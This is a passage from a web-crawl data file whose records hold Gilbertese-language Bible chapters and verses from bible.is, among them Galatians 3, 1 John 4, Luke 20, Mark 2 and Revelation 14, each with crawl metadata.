reitakina ma te Atua. 7Ma ngaia ae kam na ataiia aika a onimaki, bwa bon natin Aberaam. 8E a kaman ataia te Baibara, bwa te Atua E na karekea reitakiia aomata aika tiaki I-Iutaia ma Ngaia n te onimaki; ao e taekina te euangkerio nakon Aberaam rimoa, ao e kaangai, A na bane ni kabwaia bootanaomata iroum; 9ma ngaia ae a uaia ni kabwaia aika a onimaki ma Aberaam are e onimaki. 10Bwa a nangi reke kaiia aomata aika a bati aika a karaoi baika a tangiraki n te Tua; bwa e a tia ni koreaki ae kaangai, E na reke kain te aomata ae aki teimatoa ni karaoi bwai ni kabane ake a koreaki ni bokin te Tua. 11Ma e ataaki bwa akea te aomata i matan te Atua ae e eti reitakina ma Ngaia n te Tua, bwa e kaangai te Baibara, E na maiu ane e kaetaki reitakina ma te Atua n te onimaki. 12Ma te Tua tiaki man te onimaki; ma te aomata ane e karaoi baika a tangiraki n te Tua, e na maiu iai. 13E kainaomataira Kristo man te rekenikai are n te Tua, ngkae E karaoa are E na reke kaina iai i bukira, bwa e koreaki ae e kaangai, E a reke kain te aomata ae e tauraki n te kai: 14bwa e aonga n reke kakabwaian Aberaam irouia aomata aika tiaki I-Iutaia irouni Kristo Iesu, ao bwa e aonga n reke iroura n te onimaki te Taamnei are e atongaki n te taeka n akoi. 15Taari, N na taekina te bwai ni kakairi man te bae e noonooraki irouia aomata: bon akea temanna ae e konaa n urua ke ni karakaa riki taekan aia booraraoi aomata aika uoman, ngkana a a tia ni karaoia. 16A atongaki taian taeka n aakoi nakon Aberaam ao nakon ana kariki—ni kaotia bwa e aki nanonaki iai aomata aika a bati—ma e kaangai, ao nakon am kariki—ni kaotia bwa ti temanna ae e nanonaki iai, bwa Kristo. 17Aei te bae I nanonna n au taeka: te Tua are e roko abubua ma teningaun te ririki i mwiin te booraraoi are e kamatoaaki iroun te Atua, e aki urua te booraraoi anne, ao e aki kamauna te taeka n akoi. 18Bwa ngkana e reke te kakabwaiaaki n te Tua, ao nanona ngkanne bwa e aki reke n te taeka n akoi; ma te Atua E angan Aberaam ibukin ana taeka n akoi. 19Tera ngkanne manenan te Tua? E roko te Tua bwa raon te booraraoi, ao e boongana ibukin taiani bure, ni karokoa rokon Temanna n ana kariki Aberaam, are E anganaki te taeka n akoi. E anganaki te aba te Tua irouia anera ni bain te aomata ae te tia itoman i marenan te Atua ma aomata. 20Ma e aki kainnanoaki te tia itoman ngkana ti temanna te aomata ae e na tabe ma ngaia; ao te Atua bon ti temanna. 21E eki nako ngkanne ana taeka n aakoi te Atua te Tua? E bon aki; bwa ngke arona bwa e anganaki te aba te tua ae e konaa te kakamaiu, ao a konaa ngkanne n reke reitakiia aomata ni kabaneia ma te Atua n iran nanon te tua anne. 22Ma e taku te Baibara bwa a bane aomata nako ni mena i aani mwaakan te bure; ma ngaia are ana taeka n aakoi te Atua bon i bukiia akana a onimakina Iesu Kristo. 23Ma i mwaain rokon te onimaki, ao ti kaawakinaki bwa kaanga buure ngaira i aani mwaakan te Tua ni karokoa ae e kaotaki te onimaki. 24Ma ngaia ae e riki te Tua bwa te tia reireiniira arora ni karokoa ae E roko Kristo, bwa aonga n reke reitakira ma te Atua n te onimaki. 25Ma ngkae e a roko te onimaki, ao ti a aki manga mena i aan ana kairiiri te tia reireinira. 26Bwa kam a riki bwa natin te Atua ngkami ni kabaneingkami n onimakinan Kristo Iesu. 27Bwa ngkami ni kabaneingkami akana kam bwaabetitooaki nako nanoni Kristo, kam a karina Kristo i aomi bwa kaanga ai aron te kunnikai. 28Akea kaokoron te I-Iutaia ma te I-Erene i nanoni Kristo, ao akea kaokoron te toro ma te aomata ae e inaomata, ao akea naba kaokoron te mwaane ma te aine: bwa ti temanna ngkami ni kabaneingkami i nanoni Kristo Iesu. 29Ngkana ana bwai Kristo ngkami, ao boni kanoan Aberaam ngkami, ao kam na bwaibwai n te taeka n aakoi arei.\nKARATIA 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3","date":"2013-12-13T01:22:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164789076\/warc\/CC-MAIN-20131204134629-00007-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":895,"character_repetition_ratio":0.064,"word_repetition_ratio":0.027,"special_characters_ratio":0.23,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngkami aika kam tangiraki, kam na tai iri nanoiataamnei ni kabaneia, ma kam na neneri aroia ni kakoauai bwa tao mai iroun te Atua ke tiaki: bwa a bati buraabeti ni kewe aika a tia ni waakin aia mwakuri i aonnaba, ao ae a boni waaki naba ngkai. 2Kam konaa n ataa te aomata bwa iai irouna Taamnein te Atua n te aro aei:taamnei n tatabemaniia nako aika a kaotiia n aia onimaki bwa E roko Iesu Kristo bwa te aomata Ngaia, ao boni mai iroun te Atua; 3aotaamnei n tatabemaniia nako aika a aki kaotiia bwa a onimakina Iesu, ao tiaki mai iroun te Atua. Te aeka ntaamnei aei bon taamnein ana kairiribai Kristo, are kam a tia n ongo taekana bwa e nangi roko; ao bon ae i aon te aba ngkai. 4Ataei aika a uarereke, boni mai iroun te Atua ngkami, ao kam a tia ni katae aia kai buraabeti ni kewe: bwa E mwaaka riki Teuare e mena i nanomi nakon teuare e mena i nanoia kaain aon te aba. 5Boni man te aonnaba ae e buubure te koraki arei; ma ngaia ae a taekini bwain te aonnaba ae e buubure, ao a ongo kaaina irouia. 6Mai iroun te Atua ngaira: ane e ataa te Atua ao e ongo iroura; ane tiaki mai iroun te Atua, ao e aki ongo iroura. Ti konaa n ataa te kaokoro i marenan taamnein te koaua ao taamnein te mwaamwanaa-te-aba. 7Ngkami aika kam tangiraki, ti na i tangitangiri: bwa mai iroun te Atua te tangira; ao ane iai te tangira irouna, ao e bungiaki mai iroun te Atua, ao e ataa te Atua. 8Ane akea te tangira irouna, ao e aki ataa te Atua, bwa te Atua bon te tangira. 9E kaotaki tangirara iroun te Atua n aei: bwa E kanakomaia Natina are te rikitemanna nako aon te aba te Atua bwa ti aonga ni maiu irouna. 10Aio te tangira, tiaki ngke ti tangira te Atua; ma E tangiriira, ao E kanakomaia Natina bwa te kareanraoi ibukin ara bure. 11Ngkami aika kam tangiraki, ngkae E tangiriira te Atua n te aro aei, ao e riai naba bwa ti na i tangitangiri. 12Akea te aomata ae a tia n noora te Atua; ngkana ti i tangitangiri, ao E nim ma ngaira te Atua, ao e kakoroaki raoi tangirana i nanora. 13Ti ataia bwa ti nim ma Ngaia ao Ngaia E nim ma ngaira, n aei, bwa kioina ngkae E a tia n anganiira Taamneina. 14Ti a tia n nooria, ao ti tataekinna naba bwa E a tia te Tama ni kanakomaia te Nati bwa te Tia Kamaiuia kaain aonnaba. 15Ane e kaotia n ana taeka bwa e onimakina Iesu bwa bon Natin te Atua, ao E nim te Atua ma ngaia, ao ngaia e nim ma te Atua. 16Ao ti ataa te tangira are E tangiriira iai te Atua, ao ti kakoauaa. Te Atua bon te tangira; ao ane e bwaabwaina te tangira, ao e nim ma te Atua, ao te Atua E nim ma ngaia. 17N te aro aei ao e kakororaoaki raoi iai te tangira iroura, bwa ti aonga n aki maaku n te bongi ni motiki-taeka: bwa kioina ngkai ti te bo aroni Kristo ma arora i aon te aba aei. 18Akea te maaku i nanon te tangira; ma te tangira ae e kororaoi e kaaki te maaku. Bwa iai rekereken te maaku ma te motiki-taeka ni karawaawata; ao ane e mamaaku ao e tuai ni kakoroaki raoi n te tangira. 19Ti bwaina te tangira, ibukina bwa E tangiriira moa. 20Ngkana e kaangai temanna, I tangira te Atua, ao ngkana e ribaa tarina, ao bon te tia kewe ngaia; bwa ane e aki tangira tarina ae e a tia n nooria, ao e aki konaa n tangira te Atua ae e tuai nooria. 21Ao aei te tua ae ti anganaki mai irouna: bwa ane e tangira te Atua, ao e na tangira naba tarina.\n1 IOANE 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1John\/4","date":"2013-12-12T22:08:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164732064\/warc\/CC-MAIN-20131204134532-00090-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":657,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te bong teuana, ngke E reireiia aomata Iesu ao E tataekina taekan te euangkerio nakoia i nanon te umwantabu, ao a nakoina ibonga ake mataniwi ma taani koroboki, ma unimwaane, 2ao a taku nakoina, Ko na tuangiira bwa te mwaaka ra ae Ko karaoi iai baikai, ke antai ae e anganiko te mwaaka aei? 3Ao E kaekaia ni kaangai, Ao Ngai naba, N na titirakiningkami; kam na tuangai, 4Mai karawa ana bwaabetiito Ioane, ke mai irouia aomata? 5Ao a i taetae irouia ni kaangai, Ngkana ti kaangai, Mai karawa, ao ane E na kaangai, Ao e aera ngkai kam aki onimakinna? 6Ma ngkana ti kaangai, Mai irouia aomata; ao ane a na bane aomata ni karebanaira, ibukina bwa a kakoauaa n ae bon te buraabeti Ioane. 7Ma ngaia are a kaeka bwa a aki ataia bwa e nako maia. 8Ao E taku Iesu nakoia, ao Ngai I aki konaa n tuangkami bwa te mwaaka ra ae I karaoi iai baikai. 9Ao E taekina te rongorongo ni kabootau aei nakoia aomata: E uniki kureebe ni nneia te aomata temanna, ao e riitinna nakoia taan ribana ao e nako n te aba teuana ni kamaanna iai. 10Ngke e a roko tain anaakin uaani kureebe, ao ngaia e kanakoa ana toro nakoia taan ribana bwa a na anganna tabeua mani uaani kureebe; ma a batibooia taan ribana, ao a kanakoa ma akea te bwai ae e uotia. 11Ao e a manga kanakoa riki te toro temanna; e batibooaki naba irouia taan ribana ao a bwainikirinna, ao a kanakoa ma akea te bwai ae e uotia. 12Ao e a manga kanakoa te kateniman; ao ngaiia a kaikoakia ao a tewea nako mani nneni kureebe. 13E taku ngkanne teuare ana bwai nneni kureebe, Tera ae N nang karaoia? N na kanakoa natiu ae E tangiraki irou; tao a na karinea. 14Ma ngke a nooria taan ribana, ao a iango irouia, ao a kaangai, Ai ngaia aei te tia bwaibwai i mwiin tamana; ti na kamatea bwa ti aonga ni bwaina ana bwai. 15Ao a tewea nako mani nneni kureebe ao a kamatea. Tera are e na karaoia ngkanne teuare ana bwai nneni kureebe nakoia? 16Ane e na roko ni kamateia taan ribana akekei, ao ane e na anga nneni kureebe nakoia aomata tabemwaang. Ngke a ongo aei aomata, ao a taku, E na aki riki aei! 17Ao E katokai matana Iesu n taraiia, ao E taku, E kangaa ngkanne ootami n are e koreaki ni kaangai: Te atiibu are a ribaia taani kateitei, bwa akea boongana, e a riki bwa te atiibu ae moan te kakaawaki i buakon atiibu nako. 18Ane e bwakara te atiibu aei, ao e na mwaotooto, ma ngkana e bwakara te aomata, ao ane e na kamanatuaaki iai. 19A kan taua Iesu n te tai naba arei taani koroboki ma ibonga ake mataniwi, bwa a taku n aia iango bwa E eekinakoiia n te rongorongo ni kabootau arei; ma a maakuia aomata. 20Ma ngaia are a tarataraa te tai are e na angaraoi; ao a kanakoia aia bureitiman ni karaba aika a na baka n raoiroi, bwa a na karekea kabuaakakaan Iesu man ana taeka, n te aro bwa a aonga n anga Ngaia nakon te tia tau-taeka bwa E na baaireaki taekana. 21Ao a titirakinna ni kaangai, Te Tia Reirei, ti ataia bwa Ko taetae ao Ko reirei n te aro ae e eti; ko aki nanonano, ao Ko reirei ana tua te Atua n te koaua. 22E riai iroura te angani Kaitara te taekiti, ke e aki? 23Ma E noori nanoia ni kani kamwaamwane, ao E taku nakoia, 24Kaota te tenari nakoiu. Antai taamneina aei, ao antai korobokiana aei? Ao a kaeka, ni kaangai, Kaitara. 25Ao E taku nakoia, Ma ngaia ae kam na angani Kaitara akana ana bwai Kaitara, ao angan te Atua akana ana bwai te Atua. 26Ao a aki konaa ni kamwanea n ana taeka i mataia aomata; ma a miimii n ana kaeka, ao a aki manga taetae. 27Ao a nakoina Tarukaio tabemwaang, ake a taku bwa akea te manga-maiu irouia maate, 28ao a tabeka aia titiraki nakoina ae e kaangai, Te Tia Reirei, e korea te tua Mote i bukira ae e kaangai bwa ngkana e mate tarin te aomata, ao e tiku i mwiina buuna ma akea natiia, ao tarina are e maiu e na anaa neierei bwa buuna ao e na karikiia ataei bwa natin tarina. 29Iai ngkoa taari aika itiman; e iein teuare e te karimoa, ao e mate n aki natina; 30ao e buunaki neierei iroun te kauoman, ao e a manga mate naba teuarei; 31e a manga buunaki iroun are te kateniman, ao e a manga mate naba. Ao ai aroia naba taari ake nikira, bwa a iein ma neierei, a mate, ao akea natiia. 32Ao e mate naba te aine arei i mwiina. 33Ma ngaia are antai buuna neierei irouia n te tai are a na manga maiu iai maate? Bwa a bane ni bunna. 34E kaekaia Iesu ao E taku, A mare mwaane ao a mare naba aine n te roro aei; 35ma aomata ake a katauaki bwa a riai ni kaaina te roro ae e na roko, ao ni manga maiu ngkana a a tia ni mate, a aki mare ake mwaane ao a aki naba ake aine. 36A na riki bwa ai aroia anera, ao a na aki konaa ni manga mate; ao natin te Atua ngaiia ngkae e a reke irouia te manga-maiu. 37Ni kaeti ma taekaia maate ake a manga maiu, e a kateretereaki irouni Mote n taekan te kai, are e atonga iai te Uea bwa Atuan Aberaam, ao Atuan Itaaka ao Atuan Iakobwa. 38Bwa te Atua tiaki Atuaia ake a mate, ma Atuaia ake a maiu; bwa iroun te Atua, a bane ni maiu. 39Ao a taku taani koroboki tabemwaang, Te Tia Reirei, e nako raoi ane ko taekinna. 40Bwa a aki kani manga tabeki riki aia titiraki nakoina. 41Ao Ngaia E kaangai nakoia, A kangaa n taku aomata bwa te Kristo natin Tawita? 42Bwa e a boni manga kaangai Tawita n te boki are Taian Areru, E taku Iehova nakon au Uea, Ko na tekateka i angaataiu 43Ni katiaai moa bwa N na karaoiia taan ribaiko bwa nneni katokaani waem. 44E atongaki iroun Tawita bwa te Uea; ao E na kangaa n riki bwa Natina? 45Ngke a bane n ongoraa aomata irouna, ao E taku nakoia ana reirei, 46Kam na tarataraingkami mai irouia taani koroboki, ake a kan nakonako ma kunnikaiia aika mwarairai, ao a tangiria bwa e na kaotaki te aro ni karinerine nakoia n taabo ni mwaakete; ao a tangiria naba bwa a na tekateka n taabo n tekateka aika moa n raraoi i nanoni mwaneabaia I-Iutaia ao n taabo aika karineaki n tain taiani baka n amwarake; 47ngaiia naba taan aki karauia aia auti aine ake a mate buuia, ao a kaananaui aia tataro bwa a na taraaki iai. Ane a na katuaaeaki n ae e kamaamate riki.\nRUKA 20","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/20","date":"2013-12-11T22:14:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164050279\/warc\/CC-MAIN-20131204133410-00083-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1163,"character_repetition_ratio":0.049,"word_repetition_ratio":0.01,"special_characters_ratio":0.239,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao i mwiin tabeua te bong, ao E a manga roko Iesu i Kaberenaum, ao e taekinaki bwa E mena i nanon te auti. 2Ao a bootaki aomata aika a bati, ma ngaia are akea te nne ae mwaawa, ao akea naba n te mataroa; ao E kabwarabwara nako ia. 3Ao iai ake a roko, ao a uota nako Ina temanna ae e nakibaina, ae e tabetabekaki irouia aomata aika a aman. 4Ao ngke a aki konaa ni kaania Iesu bwa a bati aomata, ao a kauka taubukin te auti ike E mena i aana Iesu; ao ngke a a tia ni kaukia ao a nna te nne ni wene are e wene iai te nakibaina. 5Ao Iesu, ngke E noori aia onimaki, ao E taku nakon te nakibaina, Natiu, a kabwaraaki am bure. 6Iai taani koroboki ake a tekateka ikekei ma n titiraki i nanoia, ni kaangai, 7E aera ngkae E taetae Teuaei n ai aron anne? E taetae ni bakanatua: ai antai ae e konaa ni kabwarai buure bwa ti te Atua? 8Ao Iesu, E kakoauaa i nanona n te tai naba arei bwa iai te titiraki i nanoia, ma ngaia are E taku nako ia, Kam aera ngkai kam iango n titiraki i nanomi? 9E ngaa ae e kai atongaki riki, te taetae ae e kaangai nakon te nakibaina, A kabwaraaki am bure; ke t e kaangai, Tei rake, tabeka nnem ni wene, ao nakonako? 10Bwa kam aonga n ataia bwa E konaa Natin te Aomata ni kabwarai buure i aon te aba, (E taku nakon te nakibaina) I taku nakoim, 11Tei rake, ao tabeka nnem ni wene, ao nako n am auti. 12Ao teuarei, e tei rake, ao e tabeka nnena ni wene n te tai naba arei, ao e oti nako i mataia te koraki akekei ni kabaneia; ma ngaia are a bane ni miimii, ao a kamoamoaa te Atua ni kaangai, Ti tuai men nonoora te aro aei ma rimoa. 13Ao Iesu E a manga nako rarikin te nama; ao a bane n nakoina aomata, ao E reireiia. 14Ao ngke E waaki i aoni kawaina, ao E noora Rewi are natin Arebwaio bwa e tekateka n aobitin te taekiti; ao E taku Iesu nakoina, Ko na iriirai. Ao ngaia e tei rake ao e iria. 15Ao ngke E taibora n amwarake n ana auti teuarei, ao a raonna n amwarake taan anai taekiti ma aomata aika a buaakaka aika a mwaiti, ma ana reirei; bwa a mwaiti aomata ake a iriria. 16Ao ngke a nooria aia taani koroboki Bwaritaio bwa E amwarake ma taan anai taekiti ma aomata aika a buaakaka, ao a taku nakoia ana reirei, E aera ngkae E amwarake ma ni mooi ma taan anai taekiti ma aomata aika a buaakaka? 17Ngke E ongo Iesu, ao E taku nakoia, Te koraki aika a marurung, a aki kainnanoa te tia katoki aoraki, ma e kainnanoaki irouia aika a aoraki: I roko, tiaki bwa N na weteia akana raoiroi, ma I roko bwa N na weteia akana buaakaka. 18Ao a aki mamatam ana reirei Ioane ma aia reirei Bwaritaio; a roko aomata irouna ao a taku, A aera ngkai a aki mamatam ana reirei Ioane ma aia reirei Bwaritaio, ao a mamatam am reirei? 19E taku Iesu nakoia, A konaa n aki mamatam taan raona te tia iein ngkae E boni mena i buakoia te tia iein? Ngkai raoia te tia iein, ao a aki konaa n aki mamatam. 20Ane a na roko boong, are e na uotaki nako iai te tia iein mai buakoia; anne ngkanne te tai are a na aki mamatam iai. 21Akea ae e itua te moti ni kunnikai ae e boou i aon te kunnikai ae e a bwai nikawai; bwa ngkana e itua ao ane e na tebenako are e boou man are e a bwai nikawai, ao e na abwaabwaki riki raeuaakina. 22Ao akea ae e atoa te wain ae e boou nako nanoni nne ni wain aika kuun aika bwai nikawai aika kuniia maan, bwa ngkana e atoia ao te wain e na urui nne akanne; e na waa nako te wain, ao a na uruaki nneia: bwa te wain ae e boou e riai n atoaki nako nanoni nnena aika kuun aika a boou aika kuniia maan. 23N te bong ae te taabati, ao Iesu, E nakonako ri nuukan taabo ake a unikaki iai aroka aika uiita. Ao ana reirei a kiniki uaa n uiita ngke a nakonako ma Ngaia. 24Ma ngaia are a taku nakoina Bwaritaio, Noria, e eekaki nako ara tua n te bwai ane a karaoia am reirei n te taabati! 25Ao E kaekaia Iesu ni kaangai, Kam tuai meni wareka taekan te bwai are e karaoia Tawita n te tai are e kainnano iai ma raona ngke a mate ni baki? 26Bwa e rin n ana auti te Atua ao e kana te berena are Kaotiotaki, are e katauaki ibukin te Atua. E riki aei n ana tai n tei Abiata ngke mataniwia ibonga ngaia. N taekan ara tua, ti ibonga aika a konaa ni kana te berena arei—ma Tawita, e kanna ao e anganiia naba raona bwa a na kanna. 27Ao E taku nakoia, E karaoaki te taabati ibukin te aomata, ma e aki karaoaki te aomata ibukin te taabati; 28ma ngaia ae Natin te Aomata bon Uean naba te taabati.\nMAREKO 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/2","date":"2013-12-09T21:14:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163998951\/warc\/CC-MAIN-20131204133318-00027-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":893,"character_repetition_ratio":0.056,"word_repetition_ratio":0.002,"special_characters_ratio":0.245,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 1:1919Bwa Natin te Atua, are Iesu Kristo, are e tataekinaki nakoimi iroura irou ma Tirouano ma Timoteo, E aki nano tiotio i marenan te Eng ao te Tiaki, ma bon ti te Eng irouna. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/1\/19","date":"2013-12-10T18:21:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164023039\/warc\/CC-MAIN-20131204133343-00022-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9990543723,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9990543723106384}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:3232I Taamateko, ao e kateiia temwaangina te tia tau-taeka are i aan te uea are Areta bwa a na tantani i rarikini mataroani kawai n rin n aia kaawa I-Taamateko, bwa a na tauai; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/32","date":"2013-12-05T04:09:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163039753\/warc\/CC-MAIN-20131204131719-00034-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9996600151,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9996600151062012}","num_words":50,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I taratara nako, ao nooria, te Tiibuteteei ae tei i aon te maunga are Tion, ao raona te koraki ae tebubua ma abwi ma auatengaamwaitiia aika a koreaki i aon ramwaia aran te Tiibuteteei ma aran Tamana. 2Ao I ongo te bwanaa mai karawa ae ai aroni karongoaaani bwaron naao aika a bati, ao ai aron rebwen te baa ae e korakora; ao kaanga ai aron tangin taian aabi aika a katangaki irouia taani katang-aabi; 3ao a anenea te anene teuana ae kaanga te anene ae boou, i nanoaan te kaintokanuea ao i mataia baike a maiu ma unimwaane; ao akea temanna ae e konaa n reireia te anene arei, bwa ti te koraki ake tebubua ma abwi ma aua tenga, ake a a tia ni kamaiuaki mai buakoia kaain aon te aba. 4Te koraki aei bon ake a aki kamwaraaeaki irouia aine, bwa roronga ngaiia aika a tuai ni bo ma aine. Boni ngaiia ake a iriira te Tiibuteteei nako ike E nako iai. A a tia ni kamaiuaki mai buakoia kaain aonnaba, ao a riki bwa ana aomata te Atua ma te Tiibuteteei: ti te bo ngaiia ma moa n uaa ake a anga aomata nakon te Atua bwa ana bwai. 5A babanga ni kewe; akea aia kaairua. 6Ao I noora te anera temanna bwa e kibakiba i eta ike e rietaata i aani karawa, ao iai irouna te rongorongo ae e raoiroi n aki tootoki are e na tataekinna nakoia aomata ake a mena i aon te aba, ao nakoia bootanaomata ni kabaneia ma baronga ma natanaomata ma aomata nako aika a kakaokoro aia taetae; 7ao e kaangai n te bwanaa ae e korakora, Kam na maaka te Atua, ao kam na anganna te neboaki. Bwa e a roko te aoa are E na motiki-taeka iai. Kam na taromauriia Teuare e karaoa karawa ma aonnaba ma marawa ma koburaken raan. 8Ao te anera temanna, ae te kauoman, e ri mwiin are te moa n anera, ao e kaangai, E a bwaka, e a bwaka Bwaburon are te kaawa are e kakannato, are e kamooiia bootanaomata ni kabaneia n ana wain, are bon nanona ae e korakora ni kani wene ni bure. 9Ao te anera rriki temanna ae te kateniman,e ri mwiin are te kauoman, ao e kaangai n te bwanaa ae e korakora, Ngkana e taromauriiaki te man arei ma te bouananti are katootoongana iroun te aomata temanna, ao ngkana e kanikinaaeaki te aomata anne i aon ramwana ke i aoni baina, 10ao e na mooi n ana wain te Atua, are wainin unna, are E a tia ni kabwaroaki n aki renganaki nako nanoni mwangkon unna; ao e na bwainikiriinaki ni kammarakaki n te ai ma te burimton i mataia anera ake a raoiroi, ao i matan te Tiibuteteei. 11Ao e aeto rake n aki tootoki bubun te ai are a bwainikiriinaki ni kammarakaki iai; ao akea motirawaia ni ngaina ao ni bong te koraki ake a taromauriia te man ma te bouananti are katootoongana, ao te koraki ake a anganaki kanikinaaean arana. 12Aei te nanomwaaka ae kaantaningaaki mai irouia ake a itiaki, ake a tauu ana tua te Atua, ma ni kakaonimaki nakon Iesu. 13Ao I ongo te bwanaa mai karawa bwa e kaangai, Ko na korea ae e kaangai, A a kabwaia maate akana mate ma ngkai, n aki raure ma aia Uea. E taku te Taamnei, Bon te koaua, bwa a na motirawa man aia mwakuri ae e korakora; bwa a airi taekan aia mwakuri ma ngaiia. 14Ao I taratara nako, ao nooria, te nang ae e mainaina! E tekateka temanna i aon te nang arei, ao te aomata arei ai aron Natin te Aomata, ao iai te baunuea ae te koora i aon atuna, ao iai te biti ni koro uiita ae e kakang i nanoni baina. 15Ao e oti nako te anera temanna man te umwantabu, ao e taetae n te bwanaa ae e korakora nakon Teuare e tekateka i aon te nang, ao e kaangai, Ko na karina am biti i buakon uiita, ao koroi, bwa e a roko tain te koro uiita; a tawaa raoi uaa i aon te aba, ao e a roko aia tai n taiaki. 16Ao Teuare e tekateka i aon te nang E katioa ana biti i aon te aba, ao a taiaki uaa i aon te aba. 17Ao e oti nako te anera temanna man te umwantabu are i karawa, ao iai naba irouna ana biti ae e kakang. 18Ao e oti nako te anera temanna man te baonikarea; ngaia ae e taua taekan te ai. Ao e taetae n te bwanaa ae e korakora nakon te anera are iai ana biti are e kakang, ao e kaangai, Ko na kaboonganaa am biti ane e kakang, ni korei amwiini kureeben aon te aba; bwa a tawaa amwi ni kureebe. 19Ao te anera e katioa ana biti i aon te aba, ao e korei amwiini kureeben aon te aba, ao e kaaki i nanoni nnen taonani kureebe are e abwaabwaki are ana bwai unin te Atua. 20Ao e toutouaki bwain taonani kureebe i tinanikun te kaawa, ao e ti nako te raraa maiai, ao e raanga nako tao uabubua te maire, ao rietana tao nimaua te buuti mai aontano.\nTE KAOTIOTI 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/14","date":"2013-12-06T05:06:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049570\/warc\/CC-MAIN-20131204131729-00034-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":877,"character_repetition_ratio":0.072,"word_repetition_ratio":0.005,"special_characters_ratio":0.232,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"26E anaiia ngkanne aomata akekei Bwauro, ao n te bong are i mwiina, ngke e tia ni kaitiakia ma ngaiia, ao e rin n te umwantabu n anga taekani kaitiakaia bwa te bongi ra are e na toki iai, are a na bane naba iai n anga karea ibukin temanna ma temanna irouia uaakekei.\nMWAKURI 21:26\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21\/26","date":"2013-12-10T05:56:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164009894\/warc\/CC-MAIN-20131204133329-00045-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":58,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A roko aomata tabemwaang mai Iutaia nako Antioka, ao a reireiia taari, ni kaangai, Kam aki konaaki ni kamaiuaki ngkana kam aki koroberoaki, n ai aron ana taeka Mote. 2E bo te kauntaeka ae e abwaabwaki i marenaia uaakekei ma Bwauro ao Bwarenaba ibukin te baere a taekinna uaakekei; ao a rineaki ngkanne Bwauro ma Bwarenaba ma raoia tabemwaang mai Antioka bwa a na nako Ierutarem nakoia taan tuatua ma unimwaane ibukin te baere a kauntaeka iai. 3Ma ngaia are ngke a kanakoaki iroun te ekaretia, ao a ri nuukani Boinike ma Tamaria, ni karakin 